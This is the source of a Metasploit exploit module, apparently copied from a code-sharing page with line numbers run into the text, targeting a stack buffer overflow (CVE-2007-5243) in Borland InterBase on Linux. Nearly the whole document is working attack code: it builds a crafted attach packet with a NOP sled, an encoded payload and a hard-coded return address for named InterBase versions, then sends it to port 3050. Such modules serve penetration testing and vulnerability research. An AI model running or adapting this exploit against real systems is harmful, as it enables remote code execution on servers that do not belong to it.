Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/ib_pwd_db_aliased.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Borland InterBase PWD_db_aliased() Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Borland InterBase15by sending a specially crafted attach request.16},17'Author' =>18[19'Ramon de C Valle',20'Adriano Lima <adriano[at]risesecurity.org>',21],22'Arch' => ARCH_X86,23'Platform' => 'linux',24'References' =>25[26[ 'CVE', '2007-5243' ],27[ 'OSVDB', '38607' ],28[ 'BID', '25917' ],29[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],30],31'Privileged' => true,32'License' => MSF_LICENSE,33'Payload' =>34{35'Space' => 512,36'BadChars' => "\x00\x2f\x3a\x40\x5c",37},38'Targets' =>39[40# 0x0804cbe4 pop esi; pop ebp; ret41[42'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',43{ 'Ret' => 0x0804cbe4 }44],45],46'DefaultTarget' => 0,47'DisclosureDate' => '2007-10-03'48))4950register_options(51[52Opt::RPORT(3050)53],54self.class55)5657end5859def exploit6061connect6263# Attach database64op_attach = 196566length = 115267remainder = length.remainder(4)68padding = 06970if remainder > 071padding = (4 - remainder)72end7374buf = ''7576# Operation/packet type77buf << [op_attach].pack('N')7879# Id80buf << [0].pack('N')8182# Length83buf << [length].pack('N')8485# It will return into this nop block86buf << make_nops(length - payload.encoded.length - 4)8788# Payload89buf << payload.encoded9091# Target92buf << [target.ret].pack('V')9394# Padding95buf << "\x00" * padding9697# Length98buf << [1024].pack('N')99100# Random alpha data101buf << rand_text_alpha(1024)102103sock.put(buf)104105handler106107end108end109110111